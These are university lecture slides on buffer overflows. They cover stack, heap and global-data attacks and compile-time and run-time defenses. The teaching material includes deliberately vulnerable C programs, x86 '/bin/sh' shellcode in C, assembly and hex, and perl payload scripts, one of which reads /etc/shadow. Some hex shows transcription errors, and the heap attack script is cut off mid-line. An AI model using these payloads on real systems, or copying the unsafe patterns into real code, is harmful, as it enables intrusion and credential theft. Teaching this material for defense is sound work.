CS 356
Buffer Overflow

Fall 2013
Review

• Chapter 1: Basic Concepts and Terminology
• Chapter 2: Basic Cryptographic Tools
• Chapter 3 – User Authentication
• Chapter 4 – Access Control Lists
• Chapter 5 – Database Security (skipped)
• Chapter 6 – Malicious Software
• Networking Basics (not in book)
• Chapter 7 – Denial of Service
• Chapter 8 – Intrusion Detection
• Chapter 9 – Firewalls and Intrusion Prevention
• Chapter 10 – Buffer Overflow
Chapter 10

Buffer Overflow
Buffer Overflow

• a very common attack mechanism
  – first widely used by the Morris Worm in 1988

• prevention techniques known

• still of major concern
  – legacy of buggy code in widely deployed operating systems and applications
  – continued careless programming practices by programmers
# Brief History of Buffer Overflow Attacks

<table>
<thead>
<tr>
<th>Year</th>
<th>Event Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1988</td>
<td>The Morris Internet Worm uses a buffer overflow exploit in &quot;fingerd&quot; as one of its attack mechanisms.</td>
</tr>
<tr>
<td>1995</td>
<td>A buffer overflow in NCSA httpd 1.3 was discovered and published on the Bugtraq mailing list by Thomas Lopatic.</td>
</tr>
<tr>
<td>1996</td>
<td>Aleph One published &quot;Smashing the Stack for Fun and Profit&quot; in <em>Phrack</em> magazine, giving a step by step introduction to exploiting stack-based buffer overflow vulnerabilities.</td>
</tr>
<tr>
<td>2001</td>
<td>The Code Red worm exploits a buffer overflow in Microsoft IIS 5.0.</td>
</tr>
<tr>
<td>2003</td>
<td>The Slammer worm exploits a buffer overflow in Microsoft SQL Server 2000.</td>
</tr>
<tr>
<td>2004</td>
<td>The Sasser worm exploits a buffer overflow in Microsoft Windows 2000/XP Local Security Authority Subsystem Service (LSASS).</td>
</tr>
</tbody>
</table>

Table 10.1 A Brief History of Some Buffer Overflow Attacks
Buffer Overflow/Buffer Overrun

• A buffer overflow, also known as a buffer overrun, is defined in the NIST *Glossary of Key Information Security Terms* as follows:

• “A condition at an interface under which more input can be placed into a buffer or data holding area than the capacity allocated, overwriting other information. Attackers exploit such a condition to crash a system or to insert specially crafted code that allows them to gain control of the system.”
Buffer Overflow Basics

- Programming error when a process attempts to store data beyond the limits of a fixed-sized buffer.
- Overwrites adjacent memory locations:
  - Locations could hold other program variables, parameters, or program control flow data.
  - Buffer could be located on the stack, in the heap, or in the data section of the process.

Consequences:
- Corruption of program data
- Unexpected transfer of control
- Memory access violations
- Execution of code chosen by attacker
Basic Buffer Overflow Example

(a) Basic buffer overflow C code

```c
int main(int argc, char *argv[]) {
  int valid = FALSE;
  char str1[8];
  char str2[8];

  next_tag(str1);
  gets(str2);
  if (strncmp(str1, str2, 8) == 0)
    valid = TRUE;
  printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1, str2, valid);
}
```

(b) Basic buffer overflow example runs

```
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)
```

Figure 10.1 Basic Buffer Overflow Example
## Basic Buffer Overflow Stack Values

<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Before gets(str2)</th>
<th>After gets(str2)</th>
<th>Contains Value of</th>
</tr>
</thead>
<tbody>
<tr>
<td>bfffff8f4</td>
<td>34fcffbf</td>
<td>34fcffbf</td>
<td>argv</td>
</tr>
<tr>
<td></td>
<td>4 . . .</td>
<td>3 . . .</td>
<td></td>
</tr>
<tr>
<td>bfffff80</td>
<td>01000000</td>
<td>01000000</td>
<td>argc</td>
</tr>
<tr>
<td>bfffff8ec</td>
<td>c6bd0340</td>
<td>c6bd0340</td>
<td>return addr</td>
</tr>
<tr>
<td></td>
<td>. . . @</td>
<td>. . . @</td>
<td></td>
</tr>
<tr>
<td>bfffff8e8</td>
<td>08fcffbf</td>
<td>08fcffbf</td>
<td>old base ptr</td>
</tr>
<tr>
<td>bfffff8e4</td>
<td>00000000</td>
<td>01000000</td>
<td>valid</td>
</tr>
<tr>
<td>bfffff8e0</td>
<td>80640140</td>
<td>00640140</td>
<td></td>
</tr>
<tr>
<td></td>
<td>. d . @</td>
<td>. d . @</td>
<td></td>
</tr>
<tr>
<td>bfffff8dc</td>
<td>54001540</td>
<td>4e505554</td>
<td>str1[4-7]</td>
</tr>
<tr>
<td></td>
<td>T . . @</td>
<td>N P U T</td>
<td></td>
</tr>
<tr>
<td>bfffff8d8</td>
<td>53544152</td>
<td>42414449</td>
<td>str1[0-3]</td>
</tr>
<tr>
<td></td>
<td>S T A R</td>
<td>B A D I</td>
<td></td>
</tr>
<tr>
<td>bfffff8d4</td>
<td>00850408</td>
<td>4e505554</td>
<td>str2[4-7]</td>
</tr>
<tr>
<td>bfffff8d0</td>
<td>30561540</td>
<td>42414449</td>
<td>str2[0-3]</td>
</tr>
<tr>
<td></td>
<td>0 V . @</td>
<td>B A D I</td>
<td></td>
</tr>
</tbody>
</table>

**Figure 10.2** Basic Buffer Overflow Stack Values
Buffer Overflow Attacks

• to exploit a buffer overflow an attacker needs:
  – to identify a buffer overflow vulnerability in some program that can be triggered using externally sourced data under the attacker’s control
  – to understand how that buffer is stored in memory and determine potential for corruption

– identifying vulnerable programs can be done by:
  – inspection of program source
  – tracing the execution of programs as they process oversized input
  – using tools such as fuzzing to automatically identify potentially vulnerable programs
Programming Language History

- at the machine level, data manipulated by machine instructions executed by the computer processor are stored in either the processor’s registers or in memory.
- Assembly language programmer is responsible for the correct interpretation of any saved data value.

Modern high-level languages have a strong notion of type and valid operations:
- Not vulnerable to buffer overflows.
- Does incur overhead, some limits on use.

C and related languages have high-level control structures, but allow direct access to memory:
- Hence are vulnerable to buffer overflows.
- Have a large legacy of widely used, unsafe, and hence vulnerable code.
Stack Buffer Overflows

- occur when buffer is located on stack
  - also referred to as *stack smashing*
  - used by Morris Worm
  - exploits included an unchecked buffer overflow
- are still being widely exploited
- stack frame
  - when one function calls another it needs somewhere to save the return address
  - also needs locations to save the parameters to be passed in to the called function and to possibly save register values
Stack Frame with Functions P and Q

Example Stack Frame with Functions P and Q
Programs and Processes

Figure 10.4  Program Loading into Process Memory
void hello(char *tag)
{
    char inp[16];

    printf("Enter value for %s: ", tag);
    gets(inp);
    printf("Hello your %s is %s\n", tag, inp);
}

(a) Basic stack overflow C code

$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

$ ./buffer2
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXX
Segmentation fault (core dumped)

$ perl -e 'print pack("H*", "41424344454647485152535455565758616263646566676808fcffbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy)uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)

(b) Basic stack overflow example runs

Figure 10.5 Basic Stack Overflow Example
<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Before gets(inp)</th>
<th>After gets(inp)</th>
<th>Contains Value of</th>
</tr>
</thead>
<tbody>
<tr>
<td>. . . .</td>
<td>. . . .</td>
<td>. . . .</td>
<td></td>
</tr>
<tr>
<td>bffffbe0</td>
<td>3e850408</td>
<td>00850408</td>
<td>tag</td>
</tr>
<tr>
<td></td>
<td>&gt; . . .</td>
<td>. . . .</td>
<td></td>
</tr>
<tr>
<td>bffffbdc</td>
<td>f0830408</td>
<td>94830408</td>
<td>return addr</td>
</tr>
<tr>
<td></td>
<td>. . . .</td>
<td>. . . .</td>
<td></td>
</tr>
<tr>
<td>bffffbd8</td>
<td>e8fbffbf</td>
<td>e8ffffffbf</td>
<td>old base ptr</td>
</tr>
<tr>
<td></td>
<td>. . . .</td>
<td>. . . .</td>
<td></td>
</tr>
<tr>
<td>bffffbd4</td>
<td>60840408</td>
<td>65666768</td>
<td></td>
</tr>
<tr>
<td></td>
<td>` . . .</td>
<td>e f g h</td>
<td></td>
</tr>
<tr>
<td>bffffbd0</td>
<td>30561540</td>
<td>61626364</td>
<td></td>
</tr>
<tr>
<td></td>
<td>0 V . @</td>
<td>a b c d</td>
<td></td>
</tr>
<tr>
<td>bffffbcc</td>
<td>1b840408</td>
<td>55565758</td>
<td>inp[12-15]</td>
</tr>
<tr>
<td></td>
<td>. . . .</td>
<td>U V W X</td>
<td></td>
</tr>
<tr>
<td>bffffbc8</td>
<td>e8fbffbf</td>
<td>51525354</td>
<td>inp[8-11]</td>
</tr>
<tr>
<td></td>
<td>. . . .</td>
<td>Q R S T</td>
<td></td>
</tr>
<tr>
<td>bffffbc4</td>
<td>3cfcffbf</td>
<td>45464748</td>
<td>inp[4-7]</td>
</tr>
<tr>
<td></td>
<td>&lt; . . .</td>
<td>E F G H</td>
<td></td>
</tr>
<tr>
<td>bffffbc0</td>
<td>34fcffbf</td>
<td>41424344</td>
<td>inp[0-3]</td>
</tr>
<tr>
<td></td>
<td>4 . . .</td>
<td>A B C D</td>
<td></td>
</tr>
</tbody>
</table>

**Figure 10.6 Basic Stack Overflow Stack Values**
void getinp(char *inp, int siz)
{
    puts("Input value: ");
    fgets(inp, siz, stdin);
    printf("buffer3 getinp read %s\n", inp);
}

void display(char *val)
{
    char tmp[16];
    sprintf(tmp, "read val: %s\n", val);
    puts(tmp);
}

int main(int argc, char *argv[])
{
    char buf[16];
    getinp(buf, sizeof(buf));
    display(buf);
    printf("buffer3 done\n");
}

(a) Another stack overflow C code

$ cc -o buffer3 buffer3.c
$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX
buffer3 done
Segmentation fault (core dumped)

(b) Another stack overflow example runs

Figure 10.7 Another Stack Overflow Example
## Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(char *str)</code></td>
<td>read line from standard input into str</td>
</tr>
<tr>
<td><code>sprintf(char *str, char *format, ...)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strcat(char *dest, char *src)</code></td>
<td>append contents of string src to string dest</td>
</tr>
<tr>
<td><code>strcpy(char *dest, char *src)</code></td>
<td>copy contents of string src to string dest</td>
</tr>
<tr>
<td><code>vprintf(char *str, char *fmt, va_list ap)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

Table 10.2 Some Common Unsafe C Standard Library Routines
Shellcode

• code supplied by attacker
  – often saved in buffer being overflowed
  – traditionally transferred control to a user command-line interpreter (shell)

• machine code
  – specific to processor and operating system
  – traditionally needed good assembly language skills to create
  – more recently a number of sites and tools have been developed that automate this process
    – Metasploit Project

• provides useful information to people who perform penetration, IDS signature development, and exploit research
int main(int argc, char *argv[]) {
    char *sh;
    char *args[2];

    sh = "/bin/sh";
    args[0] = sh;
    args[1] = NULL;
    execve(sh, args, NULL);
}

(a) Desired shellcode code in C

```
nop
nop                     // end of nop sled
jmp    find             // jump to end of code
cont:   pop    %esi             // pop address of sh off stack into %esi
        xor    %eax,%eax        // zero contents of EAX
        mov    %al,0x7(%esi)    // copy zero byte to end of string sh (%esi)
        lea    (%esi),%ebx      // load address of sh (%esi) into %ebx
        mov    %ebx,0x8(%esi)   // save address of sh in args[0] (%esi+8)
        mov    %eax,0xc(%esi)   // copy zero to args[1] (%esi+c)
        mov    $0xb,%al         // copy execve syscall number (11) to AL
        mov    %esi,%ebx        // copy address of sh (%esi) to %ebx
        lea    0x8(%esi),%ecx    // copy address of args (%esi+8) to %ecx
        lea    0xc(%esi),%edx    // copy address of args[1] (%esi+c) to %edx
        int    $0x80            // software interrupt to execute syscall

find:   call   cont             // call cont which saves next address on
        // stack
sh:     .string "/bin/sh "      // string constant
args:   .long 0                 // space used for args array
        .long 0                 // args[1] and also NULL for env array
```

(b) Equivalent position-independent x86 assembly code

```
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
```

(c) Hexadecimal values for compiled x86 machine code

Figure 10.8 Example UNIX Shellcode
## Common x86 Assembly Language Instructions

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MOV src, dest</td>
<td>copy (move) value from src into dest</td>
</tr>
<tr>
<td>LEA src, dest</td>
<td>copy the address (load effective address) of src into dest</td>
</tr>
<tr>
<td>ADD / SUB src, dest</td>
<td>add / sub value in src from dest leaving result in dest</td>
</tr>
<tr>
<td>AND / OR / XOR src, dest</td>
<td>logical and / or / xor value in src with dest leaving result in dest</td>
</tr>
<tr>
<td>CMP val1, val2</td>
<td>compare val1 and val2, setting CPU flags as a result</td>
</tr>
<tr>
<td>JMP / JZ / JNZ addr</td>
<td>jump / if zero / if not zero to addr</td>
</tr>
<tr>
<td>PUSH src</td>
<td>push the value in src onto the stack</td>
</tr>
<tr>
<td>POP dest</td>
<td>pop the value on the top of the stack into dest</td>
</tr>
<tr>
<td>CALL addr</td>
<td>call function at addr</td>
</tr>
<tr>
<td>LEAVE</td>
<td>clean up stack frame before leaving function</td>
</tr>
<tr>
<td>RET</td>
<td>return from function</td>
</tr>
<tr>
<td>INT num</td>
<td>software interrupt to access operating system function</td>
</tr>
<tr>
<td>NOP</td>
<td>no operation or do nothing instruction</td>
</tr>
</tbody>
</table>
# x86 Registers

<table>
<thead>
<tr>
<th>32 bit</th>
<th>16 bit</th>
<th>8 bit (high)</th>
<th>8 bit (low)</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>%eax</td>
<td>%ax</td>
<td>%ah</td>
<td>%al</td>
<td>Accumulators used for arithmetical and I/O operations and execute interrupt calls</td>
</tr>
<tr>
<td>%ebx</td>
<td>%bx</td>
<td>%bh</td>
<td>%bl</td>
<td>Base registers used to access memory, pass system call arguments and return values</td>
</tr>
<tr>
<td>%ecx</td>
<td>%cx</td>
<td>%ch</td>
<td>%cl</td>
<td>Counter registers</td>
</tr>
<tr>
<td>%edx</td>
<td>%dx</td>
<td>%dh</td>
<td>%dl</td>
<td>Data registers used for arithmetic operations, interrupt calls and IO operations</td>
</tr>
<tr>
<td>%ebp</td>
<td></td>
<td></td>
<td></td>
<td>Base Pointer containing the address of the current stack frame</td>
</tr>
<tr>
<td>%eip</td>
<td></td>
<td></td>
<td></td>
<td>Instruction Pointer or Program Counter containing the address of the next instruction to be executed</td>
</tr>
<tr>
<td>%esi</td>
<td></td>
<td></td>
<td></td>
<td>Source Index register used as a pointer for string or array operations</td>
</tr>
<tr>
<td>%esp</td>
<td></td>
<td></td>
<td></td>
<td>Stack Pointer containing the address of the top of stack</td>
</tr>
</tbody>
</table>
Figure 10.9  Example Stack Overflow Attack
Stack Overflow
Variants

target program can be:
- a trusted system utility
- network service daemon
- commonly used library code

shellcode functions:
- launch a remote shell when connected to
- create a reverse shell that connects back to the hacker
- use local exploits that establish a shell
- flush firewall rules that currently block other attacks
- break out of a chroot (restricted execution) environment, giving full access to the system
Buffer Overflow Defenses

Buffer overflows are widely exploited

Two broad defense approaches:

- **Compile-time**
  - Aim to harden programs to resist attacks in new programs

- **Run-time**
  - Aim to detect and abort attacks in existing programs
Compile-Time Defenses: Programming Language

- use a modern high-level language
  - not vulnerable to buffer overflow attacks
  - compiler enforces range checks and permissible operations on variables

**disadvantages**

- additional code must be executed at runtime to impose checks
- flexibility and safety comes at a cost in resource use
- distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost
- limits their usefulness in writing code, such as device drivers, that must interact with such resources
Compile-Time Defenses: Safe Coding Techniques

• C designers placed much more emphasis on space efficiency and performance considerations than on type safety
  – assumed programmers would exercise due care in writing code
• programmers need to inspect the code and rewrite any unsafe coding
  – an example of this is the OpenBSD project
• programmers have audited the existing code base, including the operating system, standard libraries, and common utilities
  – this has resulted in what is widely regarded as one of the safest operating systems in widespread use
Examples of Unsafe C Code

(a) Unsafe byte copy

```c
int copy_buf(char *to, int pos, char *from, int len)
{
    int i;
    for (i=0; i<len; i++) {
        to[pos] = from[i];
        pos++;
    }
    return pos;
}
```

(b) Unsafe byte input

```c
short read_chunk(FILE fil, char *to)
{
    short len;
    fread(&len, 2, 1, fil); /* read length of binary data */
    fread(to, 1, len, fil); /* read len bytes of binary data */
    return len;
}
```

Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions / Safe Libraries

- handling dynamically allocated memory is more problematic because the size information is not available at compile time
  - requires an extension and the use of library routines
    - programs and libraries need to be recompiled
    - likely to have problems with third-party applications
- concern with C is use of unsafe standard library routines
  - one approach has been to replace these with safer variants
    - Libsafe is an example
    - library is implemented as a dynamic library arranged to load before the existing standard libraries
Compile-Time Defenses: Stack Protection

- add function entry and exit code to check stack for signs of corruption
- use random canary
  - value needs to be unpredictable
  - should be different on different systems
  - Stackshield and Return Address Defender (RAD)
  - GCC extensions that include additional function entry and exit code
    - function entry writes a copy of the return address to a safe region of memory
    - function exit code checks the return address in the stack frame against the saved copy
    - if change is found, aborts the program
Run-Time Defenses: Executable Address Space Protection

- use virtual memory support to make some regions of memory non-executable
- requires support from memory management unit (MMU)
- long existed on SPARC / Solaris systems
- recent on x86 Linux/Unix/Windows systems

issues
- support for executable stack code
- special provisions are needed
Run-Time Defenses: Address Space Randomization

- manipulate location of key data structures
  - stack, heap, global data
  - using random shift for each process
  - large address range on modern systems means wasting some has negligible impact

- randomize location of heap buffers

- random location of standard library functions
Run-Time Defenses: Guard Pages

• place guard pages between critical regions of memory
  – flagged in MMU as illegal addresses
  – any attempted access aborts process

• further extension places guard pages between stack frames and heap buffers
  • cost in execution time to support the large number of page mappings necessary
## Replacement Stack Frame

<table>
<thead>
<tr>
<th>Variant that overwrites buffer and saved frame pointer address</th>
<th>Off-by-one attacks</th>
<th>Defenses</th>
</tr>
</thead>
<tbody>
<tr>
<td>• saved frame pointer value is changed to refer to a dummy stack frame</td>
<td>• coding error that allows one more byte to be copied than there is space available</td>
<td>• any stack protection mechanisms to detect modifications to the stack frame or return address by function exit code</td>
</tr>
<tr>
<td>• current function returns to the replacement dummy frame</td>
<td></td>
<td>• use non-executable stacks</td>
</tr>
<tr>
<td>• control is transferred to the shellcode in the overwritten buffer</td>
<td></td>
<td>• randomization of the stack in memory and of system libraries</td>
</tr>
</tbody>
</table>
Return to System Call

- stack overflow variant replaces return address with standard library function
  - response to non-executable stack defenses
  - attacker constructs suitable parameters on stack above return address
  - function returns and library function executes
  - attacker may need exact buffer address
  - can even chain two library calls

- defenses
  - any stack protection mechanisms to detect modifications to the stack frame or return address by function exit code
  - use non-executable stacks
  - randomization of the stack in memory and of system libraries
Heap Overflow

• attack buffer located in heap
  – typically located above program code
  – memory is requested by programs to use in dynamic data structures (such as linked lists of records)
• no return address
  – hence no easy transfer of control
  – may have function pointers can exploit
  – or manipulate management data structures

defenses

heap non-executable
• randomizing the allocation of memory on the heap
/* record type to allocate on heap */
typedef struct chunk {
    char inp[64];   /* vulnerable input buffer */
    void (*process)(char *); /* pointer to function to process inp */
} chunk_t;

void showlen(char *buf){
    int len;
    len = strlen(buf);
    printf("buffer5 read %d chars\\n", len);
}

int main(int argc, char *argv[]){
    chunk_t *next;
    setbuf(stdin, NULL);
    next = malloc(sizeof(chunk_t));
    next->process = showlen;
    printf("Enter value: ");
    gets(next->inp);
    next->process(next->inp);
    printf("buffer5 done\\n");
}

$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"9090ebla5e31c08846078d1e895e0889" .
"460cb0089f38d4e088d560c8d80e3e1" .
"ffffff2f62696e2f73682020202020" .
"b89704080a");
print "whoami\\n";
pri

Global Data Overflow

• can attack buffer located in global data
  – may be located above program code
  – if has function pointer and vulnerable buffer
  – or adjacent process management tables
  – aim to overwrite function pointer later called

• defenses
  – non executable or random global data region
  – move function pointers
  – guard pages
/* global static data - will be targeted for attack */

struct chunk {
    char inp[64];  /* input buffer */
    void (*process)(char *); /* pointer to function to process it */
} chunk;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer6 read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    chunk.process = showlen;
    printf("Enter value: ");
    gets(chunk.inp);
    chunk.process(chunk.inp);
    printf("buffer6 done\n");
}

(a) Vulnerable global data overflow C code

$ cat attack3
#!/bin/sh
# implement global data overflow attack against program buffer6
perl -e "print pack("H*", "90909090909090909090909090909090" .
    "9090eb1a5e31c08846078d1e895e0889" .
    "460cb00b89f38d4e088d560ccc80e8e1" .
    "ffffff2f62696e2f73682020202020" .
    "409704080a")
print "whoami\n";
print "cat /etc/shadow\n";
$ attack3 | buffer6
Enter value:
root:
root:*:11453:0:99999:7:::
daemon:*:11453:0:99999:7:::
....
nobody:*:11453:0:99999:7:::
knoppix:*:11453:0:99999:7:::
....

(b) Example global data overflow attack

Figure 10.12 Example Global Data Overflow Attack
Summary

- buffer overflow (buffer overrun)
  - more input placed into a buffer than the allocated capacity
  - stack buffer overflows
  - targeted buffer is located on the stack
  - function call mechanisms
  - stack frame
  - stack overflow vulnerabilities
  - shellcode
  - shellcode development
  - position independent
  - cannot contain NULL values
- compile-time defenses
- resist attacks in new programs
- run-time defenses
- detect and abort attacks in existing programs
- stack protection mechanisms
- replacement stack frame
- off-by-one attacks
- return to system call
- heap overflows
- global data area overflows